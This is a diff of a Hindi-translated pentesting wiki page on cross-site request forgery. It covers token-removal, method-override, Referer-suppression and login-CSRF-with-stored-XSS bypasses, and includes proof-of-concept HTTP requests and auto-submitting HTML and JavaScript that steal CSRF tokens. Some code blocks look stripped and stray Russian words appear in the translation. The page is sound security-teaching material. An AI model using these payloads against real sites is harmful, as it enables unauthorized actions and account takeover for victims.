diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4c7d77d24..ff94a56ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -487,6 +487,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 69ebad668..134bd1d73 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,51 +2,58 @@ {{#include ../banners/hacktricks-training.md}} -## Cross-Site Request Forgery (CSRF) Explained +## Cross-Site Request Forgery (CSRF) समझाया गया -**Cross-Site Request Forgery (CSRF)** वेब एप्लिकेशनों में पाई जाने वाली एक प्रकार की सुरक्षा vuln है। यह attackers को authenticated सत्रों का फायदा उठाकर अनजान उपयोगकर्ताओं की तरफ़ से actions करने में सक्षम बनाती है। यह attack तब executed होता है जब कोई उपयोगकर्ता, जो पीड़ित के प्लेटफ़ॉर्म में logged in है, किसी malicious साइट पर जाता है। यह साइट फिर victim के अकाउंट पर requests ट्रिगर कर देती है जैसे कि JavaScript execute करना, forms submit करना, या images fetch करना। +**Cross-Site Request Forgery (CSRF)** वेब एप्लिकेशन में पाई जाने वाली एक प्रकार की सुरक्षा कमजोरी है। यह attackers को उपयोगकर्ता के authenticated sessions का फायदा उठाकर अनजान users की ओर से क्रियाएँ करवा देने में सक्षम बनाती है। हमला तब होता है जब कोई user जो विक्टिम प्लेटफ़ॉर्म में लॉगिन है, किसी malicious साइट पर जाता है। वह साइट फिर JavaScript चलाकर, forms सबमिट करके, या images fetch करके victim के account पर requests ट्रिगर कर देती है। -### Prerequisites for a CSRF Attack +### CSRF Attack के लिए आवश्यकताएँ -एक CSRF vulnerability का exploit करने के लिए कुछ शर्तें पूरी होनी चाहिए: +CSRF vulnerability का फायदा उठाने के लिए कई शर्तें पूरी होनी चाहिए: -1. **Identify a Valuable Action**: attacker को ऐसा action ढूँढना होगा जिसे exploit करना लाभकारी हो, जैसे यूज़र का password बदलना, email बदलना, या privileges बढ़ाना। -2. **Session Management**: उपयोगकर्ता का session केवल cookies या HTTP Basic Authentication header के माध्यम से manage होना चाहिए, क्योंकि अन्य headers इस उद्देश्य के लिए manipulate नहीं किए जा सकते। -3. **Absence of Unpredictable Parameters**: request में unpredictable parameters नहीं होने चाहिए, क्योंकि वे attack को रोक सकते हैं। +1. **एक महत्वपूर्ण क्रिया पहचानें**: attacker को ऐसी क्रिया ढूंढनी होगी जिसे exploit किया जा सके, जैसे user का password, email बदलना, या privileges बढ़ाना। +2. **Session Management**: user का session केवल cookies या HTTP Basic Authentication header के माध्यम से मैनेज होना चाहिए, क्योंकि अन्य headers इस प्रयोजन के लिए manipulate नहीं किए जा सकते। +3. **अनपेक्षित पैरामीटर का अभाव**: request में अनपेक्षित (unpredictable) पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं। -### Quick Check +### त्वरित जाँच -आप request को **Burp** में capture कर सकते हैं और CSRF protections की जाँच कर सकते हैं और ब्राउज़र से टेस्ट करने के लिए आप **Copy as fetch** पर क्लिक करके अनुरोध की जाँच कर सकते हैं: +आप request को **Burp में capture** कर सकते हैं और CSRF protections की जाँच कर सकते हैं; ब्राउज़र से टेस्ट करने के लिए आप **Copy as fetch** पर क्लिक करके request चेक कर सकते हैं:
-### Defending Against CSRF +### CSRF से बचाव -CSRF attacks के खिलाफ कई countermeasures लागू किए जा सकते हैं: +CSRF हमलों से बचाव के लिए कई countermeasures लागू किए जा सकते हैं: -- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): यह attribute browser को cross-site requests के साथ cookies भेजने से रोकता है। [More about SameSite cookies](hacking-with-cookies/index.html#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): victim साइट की CORS policy attack की feasibility को प्रभावित कर सकती है, खासकर यदि attack को victim साइट के response को पढ़ने की ज़रूरत हो। [Learn about CORS bypass](cors-bypass.md). -- **User Verification**: यूज़र के password के लिए prompt करना या captcha हल कराना उपयोगकर्ता की intent की पुष्टि कर सकता है। -- **Checking Referrer or Origin Headers**: इन headers को validate करने से यह सुनिश्चित करने में मदद मिलती है कि requests trusted sources से आ रहे हैं। हालाँकि, URLs को सावधानी से craft करके poorly implemented checks को bypass किया जा सकता है, जैसे: +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): यह attribute ब्राउज़र को cross-site requests के साथ cookies भेजने से रोकता है। [More about SameSite cookies](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): victim साइट की CORS policy हमले की feasibility को प्रभावित कर सकती है, खासकर जब attack के लिए victim साइट के response को पढ़ना आवश्यक हो। [Learn about CORS bypass](cors-bypass.md). +- **User Verification**: user का password मांगना या captcha हल करवाना user की मंशा की पुष्टि कर सकता है। +- **Checking Referrer or Origin Headers**: इन headers को validate करना सुनिश्चित कर सकता है कि requests भरोसेमंद स्रोतों से आ रही हैं। हालाँकि, poorly implemented checks को URLs की सावधानीपूर्वक रचना से बायपास किया जा सकता है, जैसे: - Using `http://mal.net?orig=http://example.com` (URL trusted URL के साथ समाप्त होता है) - - Using `http://example.com.mal.net` (URL trusted URL के साथ शुरू होता दिखता है) + - Using `http://example.com.mal.net` (URL trusted URL से शुरू होता है) - **Modifying Parameter Names**: POST या GET requests में parameter के नाम बदलने से automated attacks को रोकने में मदद मिल सकती है। -- **CSRF Tokens**: प्रत्येक session में एक unique CSRF token शामिल करना और subsequent requests में इस token को आवश्यक बनाना CSRF के जोखिम को काफी हद तक कम कर सकता है। token की प्रभावशीलता को CORS लागू करके और भी बढ़ाया जा सकता है। +- **CSRF Tokens**: प्रत्येक session में एक unique CSRF token शामिल करना और subsequent requests में इस token की आवश्यकता रखना CSRF के जोखिम को काफी हद तक कम कर सकता है। token की प्रभावशीलता को CORS लागू करके और बढ़ाया जा सकता है। -इन defenses को समझना और लागू करना वेब एप्लिकेशनों की security और integrity बनाए रखने के लिए बहुत ज़रूरी है। +इन defenses को समझना और लागू करना वेब एप्लिकेशन की सुरक्षा और अखंडता बनाए रखने के लिए महत्त्वपूर्ण है। + +#### सुरक्षा उपायों की सामान्य कमियाँ + +- SameSite pitfalls: `SameSite=Lax` अभी भी top-level cross-site navigations जैसे links और form GETs की अनुमति देता है, इसलिए कई GET-based CSRFs अभी भी संभव रहते हैं। cookie matrix के लिए देखें [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite)। +- Header checks: जब `Origin` मौजूद हो तो उसे validate करें; यदि `Origin` और `Referer` दोनों отсутств हैं तो fail closed करें। `Referer` पर substring/regex मैचिंग पर भरोसा न करें क्योंकि यह lookalike domains या crafted URLs से बायपास किया जा सकता है, और `meta name="referrer" content="never"` suppression trick का भी ध्यान रखें। +- Method overrides: overridden methods (`_method` या override headers) को state-changing मानें और CSRF को effective method पर लागू करें, सिर्फ POST पर नहीं। +- Login flows: login पर भी CSRF protections लागू करें; अन्यथा, login CSRF attacker-controlled accounts में forced re-authentication की अनुमति देता है, जिसे stored XSS के साथ chain किया जा सकता है। ## Defences Bypass ### From POST to GET (method-conditioned CSRF validation bypass) -कुछ applications केवल POST पर CSRF validation लागू करते हैं जबकि अन्य verbs पर इसे skip कर देते हैं। PHP में एक आम anti-pattern इस प्रकार दिखता है: +कुछ applications सिर्फ POST पर CSRF validation लागू करते हैं और अन्य HTTP verbs के लिए इसे स्किप कर देते हैं। PHP में एक सामान्य anti-pattern कुछ इस तरह दिखता है: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` -यदि vulnerable endpoint भी $_REQUEST से параметры स्वीकार करता है, तो आप वही कार्रवाई को एक GET request के रूप में फिर से भेज सकते हैं और CSRF token को पूरी तरह से छोड़ सकते हैं। इससे एक POST-only action को एक GET action में बदल दिया जाता है जो बिना token के सफल हो जाता है। +यदि कमजोर endpoint भी $_REQUEST से параметры स्वीकार करता है, तो आप वही action एक GET request के रूप में फिर से भेज सकते हैं और CSRF token को पूरी तरह से छोड़ सकते हैं। यह एक POST-only action को एक ऐसे GET action में बदल देता है जो बिना token के सफल हो जाता है। Example: @@ -66,47 +73,87 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi ``` Notes: -- यह pattern अक्सर reflected XSS के साथ दिखाई देता है जहाँ responses को गलत तरीके से text/html के रूप में भेजा जाता है बजाय application/json के। -- इसे XSS के साथ जोड़ने से exploitation की बाधाएँ काफी कम हो जाती हैं क्योंकि आप एक ही GET link दे सकते हैं जो vulnerable code path को trigger करता है और CSRF checks को पूरी तरह से चकमा दे देता है। +- यह पैटर्न अक्सर reflected XSS के साथ दिखाई देता है जहाँ responses गलत तरीके से text/html के रूप में सर्व किये जाते हैं बजाय application/json के। +- XSS के साथ जोड़ने से exploitation की बाधाएँ बहुत कम हो जाती हैं क्योंकि आप एक single GET लिंक दे सकते हैं जो एक ही बार में vulnerable code path को ट्रिगर कर देता है और CSRF checks को पूरी तरह से बायपास कर देता है। -### Lack of token +### Token की कमी -Applications ऐसे mechanisms लागू कर सकती हैं जो मौजूद होने पर **validate tokens** करती हैं। हालाँकि, एक vulnerability तब पैदा होती है जब token के अनुपस्थित होने पर validation पूरी तरह से स्किप कर दी जाती है। Attackers इसका फायदा उठाकर उस parameter को **remove** कर सकते हैं जो token ले जाता है, केवल उसकी value हटाने तक सीमित नहीं रहकर। इससे वे validation प्रक्रिया को बाईपास करके प्रभावी रूप से Cross-Site Request Forgery (CSRF) attack कर पाते हैं। +Applications token मौजूद होने पर उन्हें **validate** करने का mechanism लागू कर सकती हैं। हालांकि, एक vulnerability तब उत्पन्न होती है जब token अनुपस्थित होने पर validation पूरी तरह से स्किप कर दी जाती है। Attackers इसका फायदा उठा सकते हैं by **removing the parameter** जो token ले जाता है, सिर्फ उसके value को हटाने से नहीं। इससे वे validation प्रक्रिया को बायपास करके प्रभावी रूप से Cross-Site Request Forgery (CSRF) attack कर सकते हैं। -### CSRF token is not tied to the user session +अतिरिक्त रूप से, कुछ implementations केवल यह चेक करती हैं कि parameter मौजूद है पर उसकी सामग्री को validate नहीं करतीं, इसलिए एक **empty token value is accepted**। ऐसे मामलों में, बस `csrf=` के साथ request भेजना पर्याप्त होता है: +```http +POST /admin/users/role HTTP/2 +Host: example.com +Content-Type: application/x-www-form-urlencoded -ऐप्लिकेशन जो CSRF tokens को user session से बाँधते नहीं हैं, वे एक गंभीर सुरक्षा जोखिम पेश करते हैं। ऐसे सिस्टम tokens को session के बजाय एक **global pool** के खिलाफ verify करते हैं। +username=guest&role=admin&csrf= +``` +न्यूनतम auto-submitting PoC (history.pushState के साथ नेविगेशन छुपाना): +```html + + +
+ + + + +
+ + + +``` +### CSRF token user session से बंधा नहीं है -Attackers इसका दुरुपयोग इस तरह करते हैं: +Applications **not tying CSRF tokens to user sessions** एक गंभीर **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम tokens को एक **global pool** के खिलाफ verify करते हैं बजाय इसके कि हर token को initiating session से बाँधा गया हो। -1. अपने account से authenticate करें। -2. global pool से एक valid CSRF token प्राप्त करें। -3. इस token का उपयोग करके victim के खिलाफ CSRF attack करें। +यह है कि हमलावर इसका कैसे फायदा उठाते हैं: -यह vulnerability attackers को victim की ओर से unauthorized requests करने की अनुमति देती है, जो application's **inadequate token validation mechanism** का शोषण है। +1. अपने स्वयं के खाते का उपयोग करके **Authenticate** करें। +2. वैश्विक पूल से वैध **CSRF token** प्राप्त करें। +3. इस **token** का उपयोग करके पीड़ित के खिलाफ CSRF attack करें। + +यह vulnerability हमलावरों को पीड़ित की ओर से unauthorized requests भेजने की अनुमति देती है, और application's **inadequate token validation mechanism** का फायदा उठाती है। ### Method bypass -यदि request किसी "weird" method का उपयोग कर रही है, तो चेक करें कि क्या **method override functionality** काम कर रही है। उदाहरण के लिए, यदि यह **using a PUT** method है तो आप **use a POST** method करके और भेजकर कोशिश कर सकते हैं: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +यदि request कोई "weird" **method** इस्तेमाल कर रहा है, तो चेक करें कि **method override** functionality काम कर रही है या नहीं। उदाहरण के लिए, अगर यह **PUT/DELETE/PATCH** method इस्तेमाल कर रहा है तो आप **POST** का उपयोग करके override भेजने की कोशिश कर सकते हैं, जैसे `https://example.com/my/dear/api/val/num?_method=PUT`. -यह तब भी काम कर सकता है जब **\_method parameter** को POST request के अंदर भेजा जाए या headers का उपयोग करके: +यह POST body में **`_method` parameter inside a POST body** भेजकर या override **headers** का उपयोग करके भी काम कर सकता है: -- _X-HTTP-Method_ -- _X-HTTP-Method-Override_ -- _X-Method-Override_ +- `X-HTTP-Method` +- `X-HTTP-Method-Override` +- `X-Method-Override` +यह **Laravel**, **Symfony**, **Express** जैसे frameworks में सामान्य है। डेवलपर्स कभी-कभार non-POST verbs पर CSRF को skip कर देते हैं यह मानकर कि ब्राउज़र इन्हें नहीं भेज सकते; पर overrides के साथ आप फिर भी उन handlers तक POST के माध्यम से पहुँच सकते हैं। + +उदाहरण अनुरोध और HTML PoC: +```http +POST /users/delete HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +username=admin&_method=DELETE +``` + +```html +
+ + + +
+``` ### Custom header token bypass -यदि request में CSRF protection के तौर पर किसी **custom header** में **token** जोड़ा जा रहा है, तो: +यदि request अनुरोध में **custom header** के साथ एक **token** जोड़ रहा है और यह **CSRF protection method** के रूप में है, तो: -- Request को **Customized Token और संबंधित header** के बिना test करें। -- उसी **same length लेकिन different token** के साथ request को test करें। +- अनुरोध का परीक्षण करें बिना **Customized Token and also header.** +- अनुरोध का परीक्षण करें जिसमें बिल्कुल **same length but different token** हो। ### CSRF token is verified by a cookie -ऐप्लिकेशन CSRF protection के लिए token को cookie और request parameter दोनों में duplicate कर सकते हैं या CSRF cookie सेट करके backend में यह verify कर सकते हैं कि request में भेजा गया token cookie के value से मेल खाता है। एप्लिकेशन requests को इस तरह validate करता है कि request parameter में मौजूद token cookie की value के अनुरूप है या नहीं। +Applications CSRF protection को लागू कर सकते हैं token को दोनों जगह duplicate करके — एक cookie और एक request parameter में — या CSRF cookie सेट करके और यह सत्यापित करके कि backend में भेजा गया token cookie के मान के अनुरूप है। Application requests को validate करता है यह देखकर कि request parameter में मौजूद token cookie के value के साथ मेल खाता है या नहीं। -हालाँकि, यह तरीका तब CSRF के लिए vulnerable हो सकता है जब वेबसाइट में ऐसी खामियाँ हों जो attacker को victim के ब्राउज़र में CSRF cookie सेट करने की अनुमति देती हों, जैसे कि CRLF vulnerability। Attacker deceptive image load कर के cookie सेट कर सकता है, और फिर CSRF attack शुरू कर सकता है। +हालाँकि, यह तरीका CSRF attacks के प्रति कमजोर हो सकता है यदि वेबसाइट में ऐसी कमियाँ हों जो एक attacker को victim के ब्राउज़र में CSRF cookie सेट करने की अनुमति दें, उदाहरण के लिए CRLF vulnerability. attacker इसका फायदा उठा सकता है एक deceptive image लोड करके जो cookie सेट कर दे, और उसके बाद CSRF attack शुरू कर सकता है। Below is an example of how an attack could be structured: ```html @@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> ध्यान दें कि यदि **csrf token is related with the session cookie this attack won't work** क्योंकि आपको victim का session सेट करना पड़ेगा, और इसलिए आप अपने आप पर हमला कर रहे होंगे। +> ध्यान दें कि यदि **csrf token session cookie से संबंधित है तो यह attack काम नहीं करेगा** क्योंकि आपको victim का session सेट करना होगा, और इसलिए आप स्वयं पर attack कर रहे होंगे। -### Content-Type परिवर्तन +### Content-Type change -According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values: +According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), **POST** method का उपयोग करते हुए **preflight** requests से बचने के लिए ये अनुमत Content-Type मान हैं: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -हालांकि, ध्यान दें कि उपयोग किए गए **Content-Type** के आधार पर **severs logic may vary** इसलिए आपको ऊपर बताए गए मानों के अलावा **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ जैसे मान भी आज़माने चाहिए। +हालाँकि, ध्यान दें कि उपयोग किए गए **Content-Type** के आधार पर **server logic भिन्न हो सकती है**, इसलिए आपको उल्लिखित मानों के साथ-साथ अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ आज़माने चाहिए। -उदाहरण (from [here](https://brycec.me/posts/corctf_2021_challenges)) JSON डेटा को text/plain के रूप में भेजने का: +Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: ```html @@ -162,23 +209,23 @@ form.submit() ``` -### Bypassing Preflight Requests for JSON Data +### JSON Data के लिए Preflight Requests बायपास करना -POST request के माध्यम से JSON डेटा भेजने का प्रयास करते समय, HTML फ़ॉर्म में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, इस content type को भेजने के लिए `XMLHttpRequest` का उपयोग करने पर एक preflight request शुरू हो जाती है। इसके बावजूद, इस पाबंदी को बायपास करने और यह जांचने के कुछ तरीके हैं कि क्या सर्वर Content-Type की परवाह किए बिना JSON डेटा को प्रोसेस करता है: +जब आप POST request के ज़रिए JSON डेटा भेजने की कोशिश करते हैं, तो HTML form में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, इस content type को भेजने के लिए `XMLHttpRequest` का उपयोग करने पर preflight request शुरू हो जाता है। फिर भी, इस लिमिटेशन को बायपास करने और यह चेक करने के लिए कि सर्वर Content-Type की परवाह किए बिना JSON डेटा को प्रोसेस करता है या नहीं, कुछ तरीके मौजूद हैं: -1. **Use Alternative Content Types**: फ़ॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह तरीका टेस्ट करता है कि backend Content-Type की परवाह किए बिना डेटा का उपयोग करता है या नहीं। -2. **Modify Content Type**: preflight request से बचने और साथ ही सर्वर को कंटेंट JSON के रूप में पहचानने के लिए, आप डेटा को `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह preflight request को ट्रिगर नहीं करता, पर यदि सर्वर `application/json` स्वीकार करने के लिए कॉन्फ़िगर है तो इसे सही ढंग से प्रोसेस किया जा सकता है। -3. **SWF Flash File Utilization**: कम सामान्य लेकिन व्यवहारिक तरीका SWF flash file का उपयोग करके ऐसी सीमाओं को बायपास करना है। इस तकनीक की गहरी समझ के लिए, {this post}(https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) देखें। +1. **Use Alternative Content Types**: form में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह तरीका जाँचता है कि backend Content-Type की परवाह किए बिना डेटा का उपयोग करता है या नहीं। +2. **Modify Content Type**: preflight request से बचने और यह सुनिश्चित करने के लिए कि सर्वर कंटेंट को JSON के रूप में पहचान ले, आप डेटा `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह preflight request ट्रिगर नहीं करता पर सर्वर अगर `application/json` स्वीकार करने के लिए कॉन्फ़िगर है तो इसे सही तरीके से प्रोसेस कर सकता है। +3. **SWF Flash File Utilization**: एक कम सामान्य लेकिन मुमकिन तरीका SWF flash file का उपयोग करके इन प्रतिबंधों को बायपास करना है। इस तकनीक की गहराई से समझ के लिए, {this post}(https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) देखें। -### Referrer / Origin check bypass +### Referrer / Origin चेक बायपास -**Avoid Referrer header** +**Referrer header से बचें** -Applications अक्सर केवल तब 'Referer' header की जाँच करते हैं जब वह मौजूद हो। किसी ब्राउज़र को यह header भेजने से रोकने के लिए, निम्नलिखित HTML meta tag का उपयोग किया जा सकता है: +Applications केवल तब 'Referer' header को validate कर सकती हैं जब यह मौजूद हो। ब्राउज़र द्वारा यह header भेजने से रोकने के लिए, निम्नलिखित HTML meta tag का उपयोग किया जा सकता है: ```xml ``` -यह सुनिश्चित करता है कि 'Referer' header हटा दिया जाता है, जो कुछ एप्लिकेशनों में वैलिडेशन चेक्स को संभावित रूप से बायपास कर सकता है। +यह सुनिश्चित करता है कि 'Referer' हेडर हटाया जाता है, जिससे कुछ अनुप्रयोगों में वैलिडेशन चेक्स संभावित रूप से बायपास हो सकते हैं। **Regexp bypasses** @@ -187,7 +234,7 @@ Applications अक्सर केवल तब 'Referer' header की जा ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -URL में उस सर्वर का domain name सेट करने के लिए जिसे Referrer parameters के अंदर भेजने वाला है, आप कर सकते हैं: +URL में उस सर्वर का domain name सेट करने के लिए जिसे Referrer पैरामीटरों के अंदर भेजने वाला है, आप यह कर सकते हैं: ```html @@ -218,23 +265,58 @@ document.forms[0].submit() ``` ### **HEAD method bypass** -The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**. +पहले भाग में [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) में बताया गया है कि [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), एक router इस तरह सेट है कि **handle HEAD requests as GET requests** with no response body — यह एक सामान्य workaround है जो केवल Oak तक सीमित नहीं है। किसी विशेष handler के बजाय जो HEAD requests को संभाले, उन्हें बस **given to the GET handler but the app just removes the response body**। -Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**. +Therefore, if a **GET** request is being limited, you could just **send a HEAD request that will be processed as a GET request**. ## **Exploit Examples** -### **Exfiltrating CSRF Token** +### Stored CSRF via user-generated HTML -यदि एक **CSRF token** **defence** के रूप में उपयोग किया जा रहा है, तो आप इसे **exfiltrate it** करने का प्रयास कर सकते हैं, किसी [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability या [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability का दुरुपयोग करके। +जब rich-text editors या HTML injection की अनुमति हो, आप एक स्थायी passive fetch पर्सिस्ट कर सकते हैं जो एक vulnerable GET endpoint को हिट करता है। कोई भी user जो कंटेंट देखता है वह अपने cookies के साथ स्वतः उस request को कर देगा। -### **GET using HTML tags** +- अगर app एक global CSRF token इस्तेमाल करता है जो user session से बाउंड नहीं है, तो वही token सभी users पर काम कर सकता है, जिससे stored CSRF पीड़ितों के बीच भरोसेमंद हो जाता है। + +Minimal example that changes the viewer’s email when loaded: +```html + +``` +### Login CSRF को stored XSS के साथ जोड़ना + +Login CSRF अकेला कम प्रभावी हो सकता है, लेकिन इसे authenticated stored XSS के साथ जोड़ने पर यह शक्तिशाली बन जाता है: पीड़ित को attacker-controlled खाते में authenticate करने के लिए मजबूर करें; उस संदर्भ में, authenticated पेज में मौजूद stored XSS execute होकर tokens चुरा सकता है, session hijack कर सकता है, या privileges escalate कर सकता है। + +- सुनिश्चित करें कि login endpoint CSRF-able है (कोई per-session token या origin check नहीं) और कोई user interaction gates इसे block न करें। +- forced login के बाद, auto-navigate करके उस पेज पर जाएँ जिसमें attacker की stored XSS payload मौजूद हो। + +न्यूनतम login-CSRF PoC: +```html + + +
+ + + +
+ + + +``` +### **CSRF Token की निकासी** + +यदि **CSRF token** को **रक्षा** के रूप में इस्तेमाल किया जा रहा है, तो आप [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability या [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability का दुरुपयोग करके **इसे बाहर निकालने** की कोशिश कर सकते हैं। + +### **GET का उपयोग HTML tags के साथ** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` -स्वतः एक GET request भेजने के लिए उपयोग किए जा सकने वाले अन्य HTML5 टैग हैं: +स्वचालित रूप से GET request भेजने के लिए उपयोग किए जा सकने वाले अन्य HTML5 टैग हैं: ```html @@ -263,7 +345,7 @@ background: url("..."); ``` -### फॉर्म GET अनुरोध +### फ़ॉर्म GET request ```html @@ -281,7 +363,7 @@ document.forms[0].submit() ``` -### फ़ॉर्म POST रिक्वेस्ट +### फॉर्म POST अनुरोध ```html @@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### iframe के माध्यम से Form POST request +### iframe के माध्यम से फ़ॉर्म POST अनुरोध ```html @@ -426,7 +508,7 @@ document.getElementById("formulario").submit() ``` -### **CSRF Token चुराकर एक POST request भेजें** +### **CSRF Token चुराएँ और एक POST request भेजें** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **CSRF Token चुराएँ और iframe, form और Ajax का उपयोग करके एक Post request भेजें** +### **CSRF Token चुराएँ और iframe, form तथा Ajax का उपयोग करके एक Post request भेजें** ```html ``` -### **POSTSteal CSRF token को Ajax के साथ चुरा कर form के साथ एक post भेजें** +### **POSTSteal CSRF token Ajax के साथ और form से post भेजना** ```html
``` -### CSRF और Socket.IO के साथ +### CSRF के साथ Socket.IO ```html